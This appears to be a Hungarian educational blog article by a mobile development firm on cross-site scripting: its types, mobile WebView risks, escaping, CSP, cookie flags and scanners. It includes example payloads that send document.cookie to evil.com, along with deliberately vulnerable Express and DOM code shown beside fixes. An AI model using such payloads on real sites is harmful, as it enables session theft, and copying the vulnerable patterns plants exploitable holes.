XSS — mi ez, támadástípusok és védelmi módszerek

Szerző: IT Sectr Megjelenés: 2026-04-06 Olvasási idő: 9 perc

XSS (Cross-Site Scripting) — a webalkalmazások sebezhetőségének egy típusa, amelynél a támadó rosszindulatú JavaScript kódot illeszt be a más felhasználók számára megjelenített tartalomba. A OWASP Top Ten (2025) adatai szerint az XSS továbbra is az egyik leggyakoribb sebezhetőség, amely a webalkalmazások több mint 60%-át érinti. A webhelyek közötti parancsfuttatás lehetővé teszi a munkamenet-sütik ellopását, a felhasználók adathalász oldalakra irányítását és az oldalak tartalmának valós idejű módosítását.

Főbb pontok

  • XSS — szkript beillesztése az oldalba, amely az áldozat böngészőjében a legitim webhely nevében fut le
  • Három típus — Stored (állandó beillesztés), Reflected (visszavert) és DOM-based (kliens oldalon)
  • Stored XSS — a legveszélyesebb típus: a rosszindulatú kód a szerveren tárolódik és minden oldalbetöltéskor végrehajtódik
  • Reflected XSS — a szkript URL-paramétereken keresztül jut el, és egy speciálisan létrehozott linkre kattintva aktiválódik
  • Kimenet escape-elése — a védelem fő módszere: a felhasználótól származó adatokat escape-elni kell a HTML-be illesztés előtt

Mi az XSS?

XSS (Cross-Site Scripting) — olyan sebezhetőség, amely lehetővé teszi a támadó számára, hogy JavaScript kódot illesszen be egy weboldalba, amely aztán az áldozat böngészőjében fut le. A böngésző betölti az oldalt egy megbízható webhelyről, és a beillesztett szkriptet ugyanazokkal a jogosultságokkal hajtja végre, mint a webhely legitim kódját. Ez hozzáférést biztosít a támadónak a sütikhez, session storage-hoz, az oldal DOM-fájához, és lehetőséget ad kérések küldésére az áldozat nevében. Az XSS-sebezhetőségek akkor keletkeznek, amikor az alkalmazás a felhasználói adatokat megfelelő escape-elés vagy érvényesítés nélkül illeszti be egy HTML-oldalba.

Az XSS története és aktualitása

A Cross-Site Scripting kifejezés először 2000-ben jelent meg a Microsoft Security Bulletinben. Az elmúlt 25 évben az XSS nem veszített aktualitásából: a HackerOne (2025) adatai szerint az XSS a platformon regisztrált összes sebezhetőség körülbelül 22%-át teszi ki. Az XSS életképességének oka a felhasználói adatok összes belépési pontjának ellenőrzési komplexitása. Bármely beviteli mező, URL-paraméter, HTTP-kérés fejléc vagy fájlnév támadási vektorrá válhat, ha az adatok feldolgozás nélkül jelennek meg a HTML-kódban.

Milyen károkat okoz az XSS?

Az XSS-támadások munkamenet-sütik ellopásához vezethetnek, ami lehetővé teszi a támadó számára, hogy jelszó nélkül jelentkezzen be az áldozat fiókjába. További következmények: átirányítás adathalász oldalakra, az oldal tartalmának helyettesítése, személyes adatok ellopása, rosszindulatú szoftver telepítése (drive-by download). 2023-ban egy XSS-támadás a Salesforce Community Cloud platformon több ezer vállalati ügyfél adatait érintette, bizonyítva, hogy még a nagy platformok sincsenek védve ettől a sebezhetőségtől.

XSS-támadások típusai

Az XSS osztályozása a támadásokat három fő típusra osztja a rosszindulatú kód kézbesítési módja szerint. Minden típus más védelmi megközelítést igényel: a Stored XSS-t az adatbázisból történő kimenet escape-elésével, a Reflected-et az URL-paraméterek escape-elésével, a DOM-based-t a DOM-API-val való biztonságos munkával blokkolják. A különbség megértése a hatékony biztonsági stratégia alapja.

TípusSzkript tárolásaKézbesítési vektorÉszlelés nehézsége
Stored XSSSzerver adatbázisHozzászólások, profilok, üzenetekKözepes
Reflected XSSURL-paraméterekAdathalász linkek, e-mailMagas
DOM-based XSSKliens JavaScriptURL-töredékek, postMessageNagyon magas

Stored XSS (állandó)

Az XSS legveszélyesebb típusa. A támadó szkriptet illeszt be azokba az adatokba, amelyeket a szerver az adatbázisban tárol és minden oldalbetöltéskor megjelenít. Tipikus vektor — a hozzászólás mező: a támadó közzétesz egy hozzászólást a következővel: <script>document.location='https://evil.com/?c='+document.cookie</script>. Minden felhasználó, aki betölti az oldalt ezzel a hozzászólással, elküldi a sütijét a támadónak. A Stored XSS nem igényel semmilyen cselekvést az áldozattól, csak az oldal meglátogatását — ez teszi különösen veszélyessé a közösségi hálózatok, fórumok és blogok számára.

Reflected XSS (visszavert)

A rosszindulatú szkript a HTTP-kérésben (általában URL-paraméterben) jut el, és azonnal visszaverődik a szerver által a válaszban. A támadó egy https://example.com/search?q=<script>...</script> formájú linket hoz létre, és terjeszti azt adathalászat, közösségi hálózatok vagy e-mail útján. Az áldozat a linkre kattintva egy olyan oldalt kap, ahol a beírt keresőkérdés (szkript) escape-elés nélkül jelenik meg. A Reflected XSS szociális manipulációt igényel — az áldozatnak rá kell kattintania a linkre, ami csökkenti, de nem szünteti meg a kockázatot.

DOM-based XSS

Ellentétben a Stored és Reflected típusokkal, a DOM-based XSS nem igényli az adatok szerverre küldését. A sebezhetőség akkor keletkezik, amikor a kliens oldali JavaScript a felhasználói adatokat URL-ből, document.referrer-ből, postMessage-ből vagy localStorage-ból biztonságos feldolgozás nélkül illeszti be a DOM-ba. Például a document.getElementById('output').innerHTML = location.hash.substring(1) formájú kód bármilyen HTML-t és szkriptet végrehajt az URL-töredékből (#<img onerror='...'>). A DOM-based XSS a legnehezebben észlelhető, mert a szerver soha nem kapja meg a rosszindulatú payload-ot — az teljes egészében a kliens oldalon kerül feldolgozásra.

javascript
// Példa DOM-based XSS-re (SÉRÜLÉKENY KÓD)
// Ha userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
    window.location.search
).get('message');

// document.write — veszélyes: nyers HTML-t illeszt be
document.write('<div>' + userInput + '</div>');

// BIZTONSÁGOS ALTERNATÍVA — használja a textContent-et
document.getElementById('output').textContent = userInput;

Hogyan működik az XSS-támadás?

Az XSS-támadás a web alapvető tulajdonságát használja ki: a böngésző végrehajtja a megbízható doménről kapott JavaScriptet. Ha a támadó talál egy módot arra, hogy beillessze a kódját a szerver HTML-válaszába, a böngésző azt ugyanazokkal a jogosultságokkal hajtja végre, mint a legitim kódot. A támadás három fázison megy keresztül: a rosszindulatú kód beillesztése a tartalomba, a tartalom eljuttatása az áldozat böngészőjébe, és a kód végrehajtása hozzáféréssel a DOM-hoz, sütikhez és storage-hoz.

Beillesztési fázis

A támadó megtalálja a belépési pontot — egy mezőt, URL-paramétert vagy fejlécet, amelynek értékét a szerver escape-elés nélkül illeszti be a HTML-válaszba. Tipikus belépési pontok: keresőmezők, hozzászólás mezők, felhasználónév, avatar URL, sütifájlok, HTTP-fejlécek (User-Agent, Referer). A modern keretrendszerek (React, Angular, Vue) automatikusan escape-elik a kimenetet, de a fejlesztők kikapcsolhatják az escape-elést a dangerouslySetInnerHTML, bypassSecurityTrustHtml vagy v-html segítségével.

Kézbesítési fázis

A Reflected XSS esetében a támadó terjeszti a rosszindulatú linket. A Stored XSS esetében elegendő tartalmat közzétenni a célwebhelyen, és az oldal minden látogatója áldozattá válik. A DOM-based XSS az oldal betöltésekor aktiválódik egy adott URL-töredékkel. Mindhárom fázis végrehajtódhat automatikusan: ha az XSS-t egy reklámbannerben (harmadik fél tartalma) fedezik fel, a támadás a webhely összes felhasználóját érinti, amíg a bannert ki nem kapcsolják.

javascript
// Példa Reflected XSS-re keresésben (SÉRÜLÉKENY BACKEND)
// A q paraméter escape-elése helyett a szerver HTML-be illeszti

// Express.js — sérülékeny kezelő:
app.get('/search', (req, res) => {
    const query = req.query.q; // felhasználói bevitel
    res.send(`<h1>Results for: ${query}</h1>`);
});

// BIZTONSÁGOS VÁLTOZAT — escape-elés encodeURI vagy sablonmotor segítségével:
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>Results for: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;');
}

XSS mobilalkalmazásokban

A mobilalkalmazások is ki vannak téve XSS-támadásoknak, bár kisebb mértékben, mint a webhelyek. A fő vektor a WebView és a hibrid keretrendszerek (Cordova, Capacitor, React Native WebView-val). Ha az alkalmazás webes tartalmat tölt be a WebView-ba — különösen felhasználói tartalmat (HTML-e-mailek, cikkek, üzenetek) — az XSS sebezhetőség a JavaScript-hídon keresztül native funkciókhoz való hozzáféréssel járó JavaScript végrehajtásához vezethet az alkalmazáson belül.

XSS Android WebView-ban

Az Android WebView alapértelmezés szerint végrehajtja a JavaScriptet. Ha az alkalmazás HTML karakterláncot tölt be a loadDataWithBaseURL() segítségével, vagy felhasználói tartalmat jelenít meg, egy XSS-támadás hozzáférést biztosíthat a támadónak a JavaScript-interfészhez (addJavascriptInterface). A Google betiltotta a @JavascriptInterface használatát az API < 17 esetén, de a régi alkalmazásokban még mindig található örökölt kód. Védelem: kapcsolja ki a JavaScriptet a WebView-ban, ha nincs rá szükség, és használja a biztonságos böngészést.

XSS React Native-ben és Flutter-ben

A React Native nem használ WebView-t a felhasználói felülethez — a komponensek natív nézetekben renderelődnek. Azonban a HTML react-native-webview vagy rich-text komponenseken keresztüli megjelenítésekor az XSS-kockázat visszatér. A Flutter saját renderelő motort (Skia) használ, és nem támogatja a JavaScriptet a HTML widgetekben (a flutter_html nem hajtja végre a script elemeket), de a WebView bővítmények (webview_flutter) ugyanúgy sebezhetőek, mint a natív WebView-k. Legjobb gyakorlat — soha ne adjon át nem ellenőrzött HTML-t a WebView-nak.

  • Kapcsolja ki a JavaScriptet a WebView-ban, ha a tartalom nem igényel interaktivitást
  • Használjon CSP-fejléceket a szkriptforrások korlátozásához a WebView-ban
  • Szűrje ki a HTML-t a WebView-ba töltés előtt: távolítsa el a script elemeket és eseménykezelőket
  • Ne használja az addJavascriptInterface-t Androidon a bejövő adatok szigorú ellenőrzése nélkül
kotlin
// WebView biztonságos beállítása Androidon
val webView = findViewById<WebView>(R.id.webview)

// Kikapcsoljuk a JavaScriptet, ha nincs szükség interaktivitásra
webView.settings.javaScriptEnabled = false

// Mentisítjük a HTML-t a betöltés előtt
val sanitizedHtml = Jsoup.clean(userHtml,
    Whitelist.basic()
        .removeProtocols("img", "src", "javascript")
)

webView.loadDataWithBaseURL(null, sanitizedHtml,
    "text/html", "UTF-8", null)

XSS megelőzési módszerek

Az XSS elleni védelem három elven alapul: ne bízz a felhasználói bevitelben, escape-elj a kimenet előtt, használj Content Security Policy-t. A kimenet escape-elése (output encoding) — a legfontosabb módszer: a felhasználótól kapott összes adatot escape-elni kell a HTML-be, JavaScript-be, CSS-be vagy URL-be illesztés előtt. A modern sablonmotorok (Twig, Handlebars, JSX, Blade) ezt automatikusan megteszik, ha a fejlesztő nem kapcsolja ki az escape-elést speciális módszerekkel.

Kontextuális escape-elés

Az escape-elés az adatok beillesztési kontextusától függ. HTML-kontextusban a <, >, &, idézőjelek escape-elődnek. JavaScript-kontextusban a visszaperjelek, , </script> escape-elődnek. CSS-kontextusban — a vezérlő karakterek. URL-kontextusban — az URL-kódolás. A kontextushiba — például egy HTML-escape-elt karakterlánc beillesztése egy onclick attribútumba — nem véd az XSS ellen, mivel az onclick a JavaScript-kontextusban fut, ahol másfajta escape-elésre van szükség.

Content Security Policy (CSP)

CSP — egy HTTP-fejléc, amely korlátozza azokat a forrásokat, amelyekről a böngésző szkripteket, stílusokat és egyéb erőforrásokat tölthet be. A szigorú CSP (unsafe-inline és unsafe-eval nélkül) blokkolja az összes inline szkript végrehajtását, beleértve az XSS-vektorokat is. A Google Security Blog (2025) adatai szerint a CSP-vel rendelkező webhelyek az XSS-támadások 95%-át blokkolják. Példa: a Content-Security-Policy: default-src 'self'; script-src 'self' minden külső és inline szkriptet megtilt. A CSP nem véd a Stored XSS ellen, ha a szkript ugyanarról a doménről töltődik be, de ez további erőfeszítést igényel a támadótól.

HttpOnly és Secure sütik

A HttpOnly jelző beállítása a sütik számára megakadályozza a JavaScripten keresztüli hozzáférést (document.cookie), ami blokkolja a munkamenet-sütik ellopását XSS-en keresztül. A Secure jelző garantálja, hogy a süti csak HTTPS-en keresztül kerül továbbításra. A HttpOnly + Secure + SameSite=Lax kombinációja gyakorlatilag lehetetlenné teszi a munkamenet-sütik ellopását XSS-en keresztül. Az XSS azonban továbbra is végrehajthat műveleteket a felhasználó nevében (például kéréseket küldhet), ezért a HttpOnly nem csodaszer, hanem az átfogó védelem része.

Védelmi módszerMilyen XSS-típusok ellen védHatékonyság
Kimenet escape-eléseStored, Reflected, DOM-based99%
CSPInline XSS, eval-based95%
HttpOnly sütikMunkamenet-lopás XSS-en keresztül100% (nem olvashatók)
Beviteli érvényesítésStored, Reflected50% (típustól függ)
TRUSTED TYPESDOM-based (innerHTML)90%

Eszközök az XSS észlelésére

Az XSS-re való rendszeres tesztelés — a biztonságos fejlesztés CI/CD pipeline-jának kötelező része. Az automatizált szkennerek az XSS-sebezhetőségek akár 80%-át is megtalálják, a többi manuális pentestet igényel. A legjobb megközelítés a SAST-elemzés (statikus), a DAST-szkennelés (dinamikus) és a kód áttekintésének kombinációja, amely a felhasználói adatok belépési pontjaira összpontosít.

  • OWASP ZAP — ingyenes DAST-szkenner, automatikusan megtalálja az XSS-t a webalkalmazásokban
  • Burp Suite Professional — fejlett eszköz Active Scan és Intruder funkciókkal XSS-hez
  • XSStrike — specializált XSS-szkenner payload generálással
  • ESLint-plugin-security — React/JSX statikus elemzése veszélyes mintákra
  • Google Observatory — CSP-fejlécek és XSS-szel kapcsolatos konfigurációk ellenőrzése

Mobilalkalmazások esetében az XSS-tesztelés magában foglalja a WebView elemzését: a JavaScript-interfészek ellenőrzését, az URL-sémák feldolgozását és a HTML loadDataWithBaseURL-be való átadását. Javasoljuk továbbá a postMessage feldolgozásának tesztelését hibrid alkalmazásokban, és annak ellenőrzését, hogy milyen adatok kerülnek átadásra a JavaScript-hídon keresztül. Használjon emulátort proxyval (Burp Suite) a mobilalkalmazás forgalmának elfogásához és módosításához.

Gyakran ismételt kérdések

Mi a különbség a Stored és a Reflected XSS között?

A Stored XSS a rosszindulatú szkriptet a szerveren (az adatbázisban) tárolja, és minden oldalbetöltéskor aktiválódik. A Reflected XSS a szkriptet egy URL-paraméteren keresztül adja át, és a támadás csak a rosszindulatú linkre kattintva aktiválódik. A Stored veszélyesebb, mert nem igényel cselekvést az áldozattól — elég megnyitni a fertőzött oldalt.

Véd a HTTPS az XSS ellen?

Nem, a HTTPS nem véd az XSS ellen. A HTTPS titkosítja a böngésző és a szerver közötti forgalmat, de nem befolyásolja a felhasználói bevitel feldolgozását a szerver oldalán. Az XSS-sebezhetőség az alkalmazás szintjén létezik, nem a szállítási rétegben. A HTTPS a kötelező biztonsági minimum, de nem véd az XSS ellen.

Károsíthatja-e az XSS-támadás magát a mobileszközt?

A legtöbb esetben az XSS a böngésző vagy WebView homokozójában fut, és nincs hozzáférése a fájlrendszerhez vagy az eszköz hardveréhez. Azonban az Android WebView-ban engedélyezett JavaScript-interfésszel az XSS-szkript meghívhatja az alkalmazás natív metódusait. Az iOS WKWebView-ban szintén felfedhet adatokat a JavaScriptCore-on keresztül, ha a megfelelő híd konfigurálva van.

Hogyan teszteljük az XSS-t mobilalkalmazásokban?

Használja a Burp Suite-t vagy az OWASP ZAP-ot egy mobil eszközön konfigurált proxyval. Fogja el az alkalmazás kéréseit, módosítsa a paramétereket, és küldjön XSS-payload-okat. Ellenőrizze a WebView-t a HTML loadDataWithBaseURL-en keresztüli feldolgozására és a JavaScript-hidak jelenlétére. A React Native esetében a WebView-komponenseket külön tesztelje.

Mi az a DOM-based XSS egyszerű szavakkal?

A DOM-based XSS — olyan támadás, amelyben az oldalon lévő JavaScript maga veszi át az adatokat az URL-ből vagy más forrásokból, és ellenőrzés nélkül illeszti be a HTML-be. A szerver nem vesz részt — a rosszindulatú kód teljes egészében a böngészőben kerül feldolgozásra. Tipikus példa: a webhely szöveget vesz a location.hash-ból, és innerHTML-en keresztül illeszti be, ami lehetővé teszi bármilyen HTML-kód végrehajtását.

Összefoglaló

  • XSS — webhelyek közötti parancsfuttatás, amely lehetővé teszi JavaScript-kód beillesztését egy weboldalba az áldozat böngészőjének megtámadására
  • Három típus — Stored (állandó, adatbázisban), Reflected (visszavert, URL-en keresztül), DOM-based (kliensen, DOM-API-n keresztül)
  • Stored XSS — a legveszélyesebb: nem igényel cselekvést az áldozattól, a fertőzött oldal betöltésekor aktiválódik
  • Kimenet escape-elése — a fő védelmi módszer: kontextuális escape-elés a HTML-be, JS-be, CSS-be, URL-be illesztés előtt
  • CSP-fejlécek az XSS-támadások 95%-át blokkolják az inline szkriptek és külső források tiltásával
  • HttpOnly és Secure — sütijelzők, amelyek megakadályozzák a munkamenet-lopást a document.cookie-n keresztül
  • Rendszeres tesztelés — az OWASP ZAP, Burp Suite és kód áttekintése kötelező a CI/CD pipeline-ban

Kulcsrakész mobilalkalmazást fejlesztünk

Az IT Sectr 2017 óta készít iOS és Android alkalmazásokat induló vállalkozásoknak és vállalkozásoknak. Tanácsot adunk, és a legjobb megoldást javasoljuk.

Projekt megbeszélése

Olvassa el is